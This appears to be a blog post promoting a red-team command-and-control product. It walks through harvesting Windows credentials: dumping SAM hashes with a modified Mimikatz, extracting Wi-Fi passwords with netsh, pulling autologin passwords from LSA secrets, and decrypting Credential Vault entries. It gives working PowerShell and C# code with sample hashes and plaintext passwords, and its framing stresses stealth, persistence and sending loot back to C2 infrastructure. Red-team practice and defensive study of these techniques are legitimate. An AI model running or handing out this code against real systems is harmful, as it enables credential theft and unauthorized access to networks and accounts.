Credential Harvesting with PowerShell and SpecterInsight

Overview

Credential harvesting, also known as credential theft or credential stealing, refers to the collection sensitive authentication information from individuals or systems. The goal of credential harvesting is to obtain usernames, passwords, or other authentication tokens that allow access to protected resources. This post will cover a variety of different credential harvesting techniques, how to leverage those techniques using SpecterInsight, and how to view the data in Kibana.

Tools and technologies used in this post include:

Background Knowledge

There are numerous ways to harvest credentials from Windows systems for various accounts and services. In this post, we are going to cover the following techniques:

  • SAM Database: The Windows Security Account Manager (SAM) database contains usernames and hashed passwords that can be used in follow-on techniques such as pass-the-hash or the hashes can be cracked using a tool such as Hashcat to try and guess a lot of potential passwords and see if they match the captured hash.
  • Wi-Fi Credentials: The operating system will also store Wi-Fi credentials for you using reversible encryption. This includes the SSID and password to authenticate.
  • Windows Credential Vault: Windows Credential Manager is a feature in Microsoft Windows that allows users to store credentials such as usernames and passwords in a secure place, and later use those stored credentials to log in to various applications, websites, and network resources. This tool is designed to provide convenience by eliminating the need to repeatedly enter login information for different services.
  • Autologin Credentials: Windows autologin credentials refer to the username and password information that is used to automatically log in to a user account when the operating system starts up. Autologin is a feature that allows a user to bypass the login screen and directly access the desktop without manually entering their credentials.

Exploring Available SpecterScripts

Several credential harvesting techniques come pre-packaged with SpecterInsight. You can see what techniques are available by applying the “credential-harvesting” label in the SpecterScript search pane. At the time of this post, there are four techniques as shown in the screenshot below. Let’s go over each one in detail.

Techniques

Extracting Hashes from SAM via DPAPI

Extracting hashes from the Security Accounts Manager (SAM) database (MITRE T1003.002) is sub-technique of OS Credential Dumping (MITRE T1003). In this case, we will leverage a modified version of Mimikatz that is injectable via .NET that leverages the Data Protection Application Programming Interface (DPAPI) to dump usernames and password hashes from memory. This code is housed in the “credentials” morule and exposed in the “hashdump” cmdlet. Simply load the module and call the command as shown below.

load credentials;

hashdump

This yields JSON output similar to the data shown below. There are several hashes listed for this user. Note that the LANMAN hash is blank since I ran this on Windows 10.

{
  "DomainName": "DESKTOP-LMCH70V",
  "UserName": "helpdesk",
  "Lm": "00000000000000000000000000000000",
  "Ntlm": "bc007082d32777855e253fd4defe70ee",
  "Sha1": "c44e77aa5d3caed6ca7e9e59f553fe64ce4000d2",
  "Dpapi": "c44e77aa5d3caed6ca7e9e59f553fe64"
}

Extracting Plaintext Wifi Credentials

Extracting Wi-Fi credentials us a great way to gain and maintain remote access to a network that is not easily detected or that you haven’t gained access to yet. No noisy callbacks out the heavily monitored internet access point. Just get in wireless range with a high gain antenna, authenticate, and wmiexec to win! Additionally, some users like to reuse credentials so you can throw whatever you find there into your target specific hash cracking dictionary.

Extracting Wi-Fi credentials isn’t even that hard and can be done via the commandline using common OS binaries. If you’ve read any of my other posts, you may have gathered that I am not about parsing out information with my Mk 1 eyeballs. I tend to make mistakes when I pipe my data to eyegrep, and I’m starting to think there may be a few bugs in my version of the software. As such, I wrote a short script to extract the fields I need from the disgusting netsh output so that I can exfiltrate credentials in nicely formatted JSON objects that we will later log to Elasticsearch so any operator can view them in the Credentials dashboard.

This PowerShell script retrieves Wi-Fi profiles and their passwords on a Windows system. It uses netsh wlan commands to accomplish this by parsing the output from the child process using regex.

  1. It starts by getting a list of available Wi-Fi profiles using netsh wlan show profiles.
  2. It then extracts profile names using Select-String with a regular expression.
  3. For each profile, it fetches detailed information, including the password if available, using netsh wlan show profile name="$name" key=clear.
  4. The script uses another Select-String with a regex to extract the password.
  5. Finally, it creates a custom PowerShell object for each Wi-Fi profile with its name and password (or an empty string if no password is found).
$strings = (netsh wlan show profiles) | Select-String "\:(.+)$";
foreach($string in $strings) {
    $name=$string.Matches.Groups[1].Value.Trim();
    
    $details = netsh wlan show profile name="$name" key=clear | Select-String "Key Content\W+\:(.+)$";

    if($details.Matches -ne $null) {
        $password = $details.Matches[0].Groups[1].Value.Trim();
    } else {
        $password = "";
    }

    [PSCustomObject]@{
        Profile=$name;
        Password=$password;
    }
}

Now when we run the script under a high integrity process, we get output similar to what is shown below.

Profile      Password
------------ --------
LaQuinta     0y^Q6l6XLZmg
ZMR WiFi     Ls08q2n@m85M
FlyFi        58v0ENw&wHNi

And there you have it. Nice, quick, and easy. At some point, I plan on going back and implementing a version of this that only uses API calls to minimize risk of detection through process based behavioral analysis. I was certain it was in my backlog somewhere…

Extracting Autologin Credentials

During a number of engagements, I have come across systems that are configured to automatically login and display something to a screen. Typically these are data walls or “Information Radiators”that require some type of domain user to be logged in to services such as Jira, Confluence, Gitlab, Elasticsearch, Splunk, SolarWinds (Jackpot!), etc. These are nice in a number of ways:

  • The user automatically logs in at startup, so I can maintain reliable persistence at the user-mode level without the need to privilege escalate.
  • The user sometimes has access to juicy information or services. “Why thank you for access to all of your organizational documentation in Confluence!”
  • We can dump the plaintext login credentials for the account.

Autologin information is stored under the following registry key:

HKLM:\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon

Registry values can include:

  • DefaultUserName
  • DefaultDomainName
  • DefaultPassword

In newer versions of Windows, the password field is stored in the Local Security Accounts (LSA) secrets key-value datastore under the key “DefaultPassword”. In order to extract that information, we need to pinvoke a few Win32 methods, which I find easier to do in C#. We simply define a new class, shown below, and compile to a .NET DLL and upload to the Modules list in SpecterInsight. Deployed Specters can load any module available in the C2 server via “load” command.

public class LsaSecretsUtility {
    public LsaSecretsUtility(string key) {
        if (string.IsNullOrEmpty(key)) {
            throw new Exception("Key cannot be null or empty.");
        }

        this._objectAttributes = new LSA_OBJECT_ATTRIBUTES();
        this._objectAttributes.Length = 0;
        this._objectAttributes.RootDirectory = IntPtr.Zero;
        this._objectAttributes.Attributes = 0;
        this._objectAttributes.SecurityDescriptor = IntPtr.Zero;
        this._objectAttributes.SecurityQualityOfService = IntPtr.Zero;

        this._localsystem = new LSA_UNICODE_STRING();
        this._localsystem.Buffer = IntPtr.Zero;
        this._localsystem.Length = 0;
        this._localsystem.MaximumLength = 0;

        this._secretName = new LSA_UNICODE_STRING();
        this._secretName.Buffer = Marshal.StringToHGlobalUni(key);
        this._secretName.Length = (UInt16)(key.Length * UnicodeEncoding.CharSize);
        this._secretName.MaximumLength = (UInt16)((key.Length + 1) * UnicodeEncoding.CharSize);

    }

    private IntPtr GetLsaPolicy(LSA_AccessPolicy access) {
        IntPtr lsaPolicyHandle;

        uint ntsResult = Advapi32.LsaOpenPolicy(ref this._localsystem, ref this._objectAttributes, (uint)access, out lsaPolicyHandle);

        uint winErrorCode = Advapi32.LsaNtStatusToWinError(ntsResult);
        if (winErrorCode != 0) {
            throw new Win32Exception("LsaOpenPolicy failed.");
        }

        return lsaPolicyHandle;
    }

    private static void ReleaseLsaPolicy(IntPtr LsaPolicyHandle) {
        uint ntsResult = Advapi32.LsaClose(LsaPolicyHandle);
        uint winErrorCode = Advapi32.LsaNtStatusToWinError(ntsResult);
        if (winErrorCode != 0) {
            throw new Win32Exception("LsaClose failed.");
        }
    }

    private static void FreeMemory(IntPtr Buffer) {
        uint ntsResult = Advapi32.LsaFreeMemory(Buffer);
        uint winErrorCode = Advapi32.LsaNtStatusToWinError(ntsResult);
        if (winErrorCode != 0) {
            throw new Win32Exception("LsaOpenPolicy failed.");
        }
    }

    public void SetSecret(string value) {
        LSA_UNICODE_STRING lusSecretData = new LSA_UNICODE_STRING();

        if (value.Length > 0) {
            //Create data and key
            lusSecretData.Buffer = Marshal.StringToHGlobalUni(value);
            lusSecretData.Length = (UInt16)(value.Length * UnicodeEncoding.CharSize);
            lusSecretData.MaximumLength = (UInt16)((value.Length + 1) * UnicodeEncoding.CharSize);
        } else {
            //Delete data and key
            lusSecretData.Buffer = IntPtr.Zero;
            lusSecretData.Length = 0;
            lusSecretData.MaximumLength = 0;
        }

        IntPtr LsaPolicyHandle = GetLsaPolicy(LSA_AccessPolicy.POLICY_CREATE_SECRET);
        uint result = Advapi32.LsaStorePrivateData(LsaPolicyHandle, ref this._secretName, ref lusSecretData);
        ReleaseLsaPolicy(LsaPolicyHandle);

        uint winErrorCode = Advapi32.LsaNtStatusToWinError(result);
        if (winErrorCode != 0) {
            throw new Win32Exception("StorePrivateData failed.");
        }
    }

    public string GetSecret() {
        IntPtr PrivateData = IntPtr.Zero;

        IntPtr LsaPolicyHandle = GetLsaPolicy(LSA_AccessPolicy.POLICY_GET_PRIVATE_INFORMATION);
        uint ntsResult = Advapi32.LsaRetrievePrivateData(LsaPolicyHandle, ref this._secretName, out PrivateData);
        ReleaseLsaPolicy(LsaPolicyHandle);

        uint winErrorCode = Advapi32.LsaNtStatusToWinError(ntsResult);
        if (winErrorCode != 0) {
            throw new Win32Exception("RetreivePrivateData failed.");
        }

        LSA_UNICODE_STRING lusSecretData =
        (LSA_UNICODE_STRING)Marshal.PtrToStructure(PrivateData, typeof(LSA_UNICODE_STRING));
        string value = Marshal.PtrToStringAuto(lusSecretData.Buffer).Substring(0, lusSecretData.Length / 2);

        FreeMemory(PrivateData);

        return value;
    }

    private LSA_OBJECT_ATTRIBUTES _objectAttributes;
    private LSA_UNICODE_STRING _localsystem;
    private LSA_UNICODE_STRING _secretName;
}

The class above can be used to extract LSA secrets using keys to extract plaintext secrets such as in the example below to extract the autologin password.

LsaSecretsUtility lsa = new LsaSecretsUtility("DefaultPassword");
string password = lsa.GetSecret();

Now we can wrap all of that up into an easy-to-use cmdlet in a custom module. Just define a class, inherit from PSCmdlet, and override the BeginProcessing method. We store the results in a PSObject with the appropriately labeled fields so that the output can be converted to JSON with specific fields for each piece of information. This will help us with the Kibana dashboard later on. When this module is uploaded to a deployed Specter, this cmdlet will now be available to invoke.

using common.Classes;
using Microsoft.Win32;
using System.Management.Automation;

namespace Credentials.Cmdlets {
    [Cmdlet(VerbsCommon.Get, "AutologinCredentials")]
    public class GetAutologinCredentials : PSCmdlet {
        protected override void BeginProcessing() {
            RegistryKey key = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon");
            string username = (string)key.GetValue("DefaultUserName", null, RegistryValueOptions.None);
            string domain = (string)key.GetValue("DefaultDomainName", null, RegistryValueOptions.None);
            string password = (string)key.GetValue("DefaultPassword", null, RegistryValueOptions.None);

            if(string.IsNullOrEmpty(password)) {
                LsaSecretsUtility lsa = new LsaSecretsUtility("DefaultPassword");
                password = lsa.GetSecret();
            }

            PSObject output = new PSObject();
            output.Properties.Add(new PSNoteProperty("DefaultUserName", username));
            output.Properties.Add(new PSNoteProperty("DefaultDomainName", domain));
            output.Properties.Add(new PSNoteProperty("DefaultPassword", password));

            this.WriteObject(output);
        }
    }
}

With all of that work done, we can now create a new SpecterScript to run the technique. Simply load the “credentials” module where the cmdlet is stored and invoke it!

load credentials;

Get-AutologinCredentials

Running the above commands will generate output similar to what is shown below with the plaintext password clearly visible. This is nice because if it is a domain user, we can use that password to authenticate with any domain connected services that we can’t access via techniques such as pass-the-hash.

DefaultDomainName DefaultUserName DefaultPassword
----------------- --------------- ---------------
                  helpdesk        12qwaszx

Extracting Plaintext Credentials from the Windows Credential Vault

Next, we’re going to take a look at extracting credentials from the Windows Credential Vault. This is where credentials such as git login information are sometimes stored. There are two modules that contain supporting code that we can use: CredentialManager and PSCredentialManager.Api. Housed within those is a cmdlet that extracts stored credentials called “Get-StoredCredential”. Unfortunately, the “password” field is a SecureString, so we need to extract it using the [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR method.

load CredentialManager;
load PSCredentialManager.Api;

Get-StoredCredential | % {
    $ptr = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($_.password);
    New-Object PSObject -Property @{
        Username = $_.Username;
        Password = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($ptr);
    }
}

Running the SpecterScript shown above should yield output similar to what is shown below.

[
  {
    "Password": "gho_Z5DRvcX4eEP2MnGNCwZnyl78OiFwUHomLzIj",
    "Username": "hax0r"
  },
  {
    "Password": "thisismypassword",
    "Username": "hax0r"
  }
]

Reviewing Results in the Kibana Dashboard

Almost every team I’ve ever talked to has a solution for storing op data, which 9 times out of 10 boils down to plaintext op notes on a shared drive.

My goal is to have our deployed tools generate telemetry that can be analyzed on the backend for a holistic picture of current operations. Output from implants should be serialized back to the C2 infrastructure, parsed, augmented, analyzed, and displayed in an easy-to-search format with little to no manual effort required. SpecterInsight does this for us automatically by collecting objects from our deployed Specters, converting those objects to JSON, and shipping them off to ELK. It also comes with a pre-built dashboard that summarizes all of the harvested credentials during the op.

“What passwords do we have for the LAB domain?”

Just search with a filter for “LAB” in the Credentials dashboard.

Conclusion

That was a lot of work, but now we have four reliable and repeatable ways to harvest and analyze credentials.

Note that the scripts and code shown above are now available in SpecterInsight 1.2.0.

2 thoughts on “Credential Harvesting with PowerShell and SpecterInsight”

  1. Pingback: The PowerShell Podcast From Engineer to Manager: Mike Kanakos on Transition, Lessons, and Community – 247 TECH

  2. Pingback: The PowerShell Podcast From Engineer to Manager: Mike Kanakos on Transition, Lessons, and Community – PowerShell.org

Leave a Comment

Your email address will not be published. Required fields are marked *

Scroll to Top